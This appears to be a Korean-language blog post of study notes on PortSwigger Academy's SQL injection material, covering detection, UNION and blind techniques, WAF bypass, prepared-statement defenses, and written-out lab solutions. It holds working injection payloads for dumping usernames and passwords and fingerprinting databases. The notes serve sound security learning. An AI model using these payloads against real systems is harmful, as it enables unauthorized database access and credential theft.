PortSwiggerAcademy - SQL Injection

전세영·3일 전

PortSwigger-Academy

목록 보기
1/2

공격자가 백엔드에서 만들어지는 SQL 구문에 간섭하는 취약점이다.

주된 현상 : 서버측 민감데이터 탈취 (username, email, password 등)

취약 여부 판단방법 :

아래와 같은 방법으로 확인하면 된다.

  • SQL 문법파괴 후 에러발생확인 : 홑따옴표('),

  • Boolean 조건 T/F 모두 넣고 결과확인 : 1 AND 1=1, 1 AND 1=2를 각각 넣기

  • response timing 차이확인. (SQL 구문을 탈 경우, 추가 시간지연)

  • OAST.

    (OAST : 공격이 성공하면, 외부네트워크(주로 내 서버)에 특정 요청을 보내도록 해 SQL 성공여부를 판단가능)

하지만 역시 Burp Scanner같은 취약점 스캐너가 가장 편한 방법.

분류

전형적인 SQLi는 SELECT ... WHERE 조건 형태로 발생한다.
하지만, 아래와같이 Update 구문에 입력값이 사용될 수도 있다.

  • UPDATE ... WHERE 입력값
  • INSERT ... WHERE 입력값
  • SELECT ... FROM 입력값
  • SELECT ... ORDERBY 입력값

기본 테크닉

  1. 로직 우회 : '--식의 입력을 하여 WHERE조건 검사 우회
  2. UNION 활용해 다른테이블 조회 : UNION을 활용해 다른테이블의 정보도 가져올 수 있다.
    SELECT name, description FROM products WHERE category = 'Gifts' 구문에서 Gifts대신 아래 문구 삽입해 users테이블의 정보를 얻는다.
    ' UNION SELECT username, password FROM users--
  3. Blind SQLi : Select 구문의 결과를 즉시보여주는 페이지가 아닐 경우 사용.
  • Boolean-based : 참 거짓 정보만을 알 수 있는 경우.(거짓일때 에러가 나는 등). 아래와 같이 비밀번호를 한자리 씩 맞춰나갈 수 있다. SELECT * FROM visits WHERE tracking_id = 'abc'에
    AND SUBSTRING( (SELECT password FROM users WHERE username='administrator'), 1, 1) = 'a'를 붙여
    암호를 한자리 씩 맞춰나간다
  • Time-based : 조건문이 맞을 경우 시간지연(Sleep).
    IF(SUBSTRING(password,1,1) = 'a', SLEEP(5),0)
  • OAST : 나머지 방법이 안통할 때 쓸수있는 powerful한 방법. 심지어 boolean이 아니라 데이터자체를 받을 수 있어 유용함.

DB정보획득 및 메타데이터 획득

SQLi 취약점을 갖고 있는지 파악한 후에는,
DB 종류 및 버전을 알아내야한다.

DB 종류별 버전조회

  • Oracle : SELECT banner FROM v$version, SELECT version FROM v$instance
  • MySQL : SELECT VERSION(), SELECT @@version
  • MsSQL : SELECT @@version
  • PostgreSQL : SELECT version()
  • SQL Server : SELECT @@VERSION

테이블목록 조회 (메타데이터)
SELECT * FROM information_schema.tables;
거의 모든 DB에 존재.
단,

오라클 :

  • 테이블명 :ALL_TABLES 테이블의 owner, table_name 활용.
  • 컬럼명 :SELECT column_name, data_type FROM all_tab_columns WHERE table_name = 'USERS'

SQLite는 sqlite_schema 사용

DB 제어 접근권한에따라, 제한된 뷰/테이블만 볼 수 있어 메타데이터에 접근불가능할 수도 있다.

핵심1. UNION Attacks

SQLi를 잘활용하기위한 기본기 1번 (다른테이블 조회)

기본 조건

  • 기존 컬럼과 동일한 column수 만큼 SELECT해야함.
  • 각 column간 자료형도 일치해야함

그르 위해 각 column의 갯수와 자료형을 알아야 함.

columns수 알아내기

두가지 방법이 있다.

  1. 에러가 발생할때까지 갯수를 올려서 조회.
    ' ORDER BY 1--, ' ORDER BY 2-- 구문을 실행한다.
    (order by에 숫자를 넣으면 해당 번째수의 컬럼을 의미함)

  2. 에러가 발생하지 않을 때까지, 갯수를 올려서 조회
    'UNION SELECT NULL--, 'UNION SELECT NULL, NULL-- ...
    (NULL을 사용하면 자료형에 구애받지 않기때문에 사용)
    (다만 NULL을 조회하는 것이라, 응답값이 바뀌거나, 에러가발생하면 좋지만, 아예 변화가없을 위험성이 존재)

오라클에선 ' UNION SELECT NULL FROM DUAL--을 사용할 것.
(오라클에선 SELECT절에 반드시 FROM을 붙여줘야하기때문에 빌트인 dual 테이블을 활용한 것)

컬럼 자료형 알아내기

' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--

이와같이 입력하면,
문자열이 아닐경우, (운이좋으면) 데이터타입을 순순히 알려주거나/에러가나고,
문자열일 경우, 'a'라는 데이터가 추가로 도시될 것이다.

Blind SQLi

(아마) 많은경우 sqli 리턴 결과/에러메시지를 화면에 그대로 노출하지 않을 수 있다.
예를들면, 화면에 뿌릴 데이터가 아니라, 권한검사를 위한 쿠키로 받은 토큰이라든지..

sqli응답결과 혹은 에러메시지 발생여부에따라, 화면 혹은 응답만 조금 a/b 사이를 오가는 경우 blind SQLi 기법이 유용할 것

  • bool기반 조건문 검사
  • OAST 등

쿠키로 Cookie: TrackingId=u5..xyz를 넣어보내면, 아래와같이 SQL을 만들것이다.
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = '..xyz'
이 때,
xyz' AND '1'='1 식으로 붙여서 보내면 참이니 성공하고,
xyz' AND '1'='2를 붙이면 실패할 것이다. 이 원리로 조건문을 넣으면 T/F 응답을 얻어낼 수 있는 취약점을 획득함.

users테이블의 username, password 얻어내기 (Administrator계정)
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
이렇게 패스워드 자릿수를 하나씩 이분탐색할 수 있으며, 단 몇회의 시도끝에 모든 자릿수를 알아 낼 수 있다.

bool 기반 조건문 검사

방어1 : WAF(웹앱 방화벽).

WHERE, FROM, -- 등의 SQL 구문문법은 WAF에 의해 기본적으로 막힌다.

일부 취약한 WAF는 단순 검사만 수행하기때문에, 문자를 인코딩/이스케이핑 해 우회할 수 있다.

  • XML 인코딩(xml 형태 POST인 경우 SELECT중 S만 $#x53;로 xml 인코딩)
    -> 우회원리. WAF가 검사할땐 $#x53;이었지만, WEB서버가 XML을 파싱하면서 S로 바뀌어, DB에 SELECT로 입력이된다.

방어2 : Prepared Statement

parameterized Query라고도 부름.
예시.

PreparedStatement statement = connection.prepareStatement(
    "SELECT * FROM products WHERE category = ?"
);

statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();

단 Where 조건값, INSERT 입력값(VALUES (?,?)), Update 변경값(SET name = ?)은 가능하나,

테이블명, 컬럼명엔 유저인풋을 사용할수가없다. 이 대안으로
1. whitelisting (사전 허용한 컬럼명만을 사용)

String column = switch (input) {
   case "name" -> "name";
   case "price" -> "price";
   default -> "id";
};

String query = "SELECT * FROM products ORDER BY " + column;
  1. 하드코딩 (사용자입력에따라 미리만들어둔 다른 sql문을 타도록함)
if (sortByPrice) {
    query = "SELECT * FROM products ORDER BY price";
} else {
    query = "SELECT * FROM products ORDER BY name";
}

방법이 있음.

주의: parameterized query의 문자열은 항상 코드에 고정된 "상수"값만을 사용하며, 어떤 출처의 가변 데이터도 사용혀만 안됨.

기타 : (2차 SQLi. Second-order SQLi)

prepared Statement를 하였더라도, 이 값을 저장할때만 prepared statement를 사용하고, 그걸 다른 곳에서 읽을땐 단순 sql문 직접생성을 하면 2차 SQLi취약점이 발생.

1차 SQLi : 유저 인풋을 안전하지않은 방식으로 SQL 쿼리에 포함하는 취약점
2차 SQLi : 유저 인풋을 저장해두었다가, 나중에 SQLi 쿼리에 안전하지않게 포함해버리는 취약점.
예시
1. 회원가입시 사용자가 유저명을 admin'--로 입력함.
2. 서버가 prepared statement를 써서 안전하게 저장하였음.
3. 나중에 사용할땐 SQL을 직접만들어 사용해버려서 SQLi가 발생함

LAB 풀이

기초랩
1. url값을 WHERE 조건으로 사용하는 단순 취약점. (링크)
A. url의 category 쿼리스트링에 Gifts를 Gifts' OR 1=1--로 바꿔 모든 상품을 출력
2. 로그인 취약점 기초우회 (링크)
A. 유저네임 input태그에 administrator'--입력
3. xml 인코딩 활용 (링크)
A. 재고조회 POST로 보내는 xml에, <@hex_entities>1 UNION SELECT username || '~' || password FROM users</@hex_entities>로 hex 인코딩.

LAB보니 생각보다 UNION이 많이 활용되어 먼저 해결해보았다.

  1. UNION공격. column 갯수 알아내기 (링크)

A. 기초문제. '+UNION+SELECT+NULL,NULL,NULL로 해결

  1. UNION공격: column 자료형(string) 알아내기 (링크)

A. 기초문제. '+UNION+SELECT+NULL,'XSw7Rn',NULL-- 입력

  1. UNION공격: 다른테이블에서 원하는 데이터 획득하기 (링크)

난이도높이기. (만약) DB명, 테이블명/컬럼명을 모른다면?
6.1. DB명알아내기 : 이용해서 PostGreSQL이란걸 알아냈음.
6.2. 테이블명 알아내기 : Gifts'+UNION+SELECT+table_schema,table_name+FROM+information_schema.tables--
users테이블이 존재
6.3. 컬럼명 알아내기 :
Gifts'+UNION+SELECT+column_name,data_type+FROM+information_schema.columns+WHERE+table_name%20=%20%27users%27--
6.4. UNION 공격 수행 :
Gifts'+UNION+SELECT+username,password+from+users--
표시되는 아디비번으로 로그인

  1. 단일컬럼에서 2개 컬럼 정보얻기(concat) (링크)
    컬럼수가 2개란걸 알아내고, 하려고하면 에러가나는데,
    자료형확인을안했기때문이다. 첫번째 컬럼은 숫자, 두번째컬럼이 str.
    Accessories%27+UNION+SELECT+1,username||'_'||password+FROM+users--입력

  2. SQLi로 정보얻기 : 힌트없음 (논Oracle) (링크)

6번문제와 동일하나, db종류, 테이블명,컬럼명 등의 힌트없이 관리자계정을 얻는 문제이다.
하지만 6번에서 힌트를 안쓰고 푸는법을 연습했으므로 동일하게 풀면된다.

  1. SQLi로 정보얻기 : 힌트없음 (Oracle) (링크)

6번문제와 동일하다. 오라클이므로 오라클에 맞는 메타데이터 SQL구문으로 고쳐주면됨.

  1. DB종류 & version 알아내기 (Oracle) (링크)

A. Oracle버전문법을 쓰기위해 UNION공격에 붙인다.
(ORDER BY 1-- 반복해 먼저 DB컬럼수가 2개인걸 알아내고)
Oracle 버전문법을 활용해, '+UNION+SELECT+v.*,NULL+FROM+v$version v를 입력.
유독 Oracle에서는 *을 다른 컬럼과 함께 사용할때 꼭 별칭을 꼭 붙여줘야 하기때문에 주의. #도 가능하지만, 브라우저에서는 #을 넣게되면, 브라우저기능에의해 요청을 보내지 않는다.

  1. DB종류 & version 알아내기 (MySQL) (링크)
    5와 동일하다. 하지만 버전문구가 다르고, 주석이 --가 아닌 --+이다.
    '+ORDER+BY+1--+ 로 컬럼갯수를 알아낸 후
    %27+UNION+SELECT+@@version,NULL--+ 사용.
    (브라우저가 url 인코딩시 가장끝 공백(' ')을 trim하므로 반드시 +혹은 %20으로 써줘야한다.)
profile
가치를 빠르고 안전하게 전달하는 개발을 하고 싶습니다.

0개의 댓글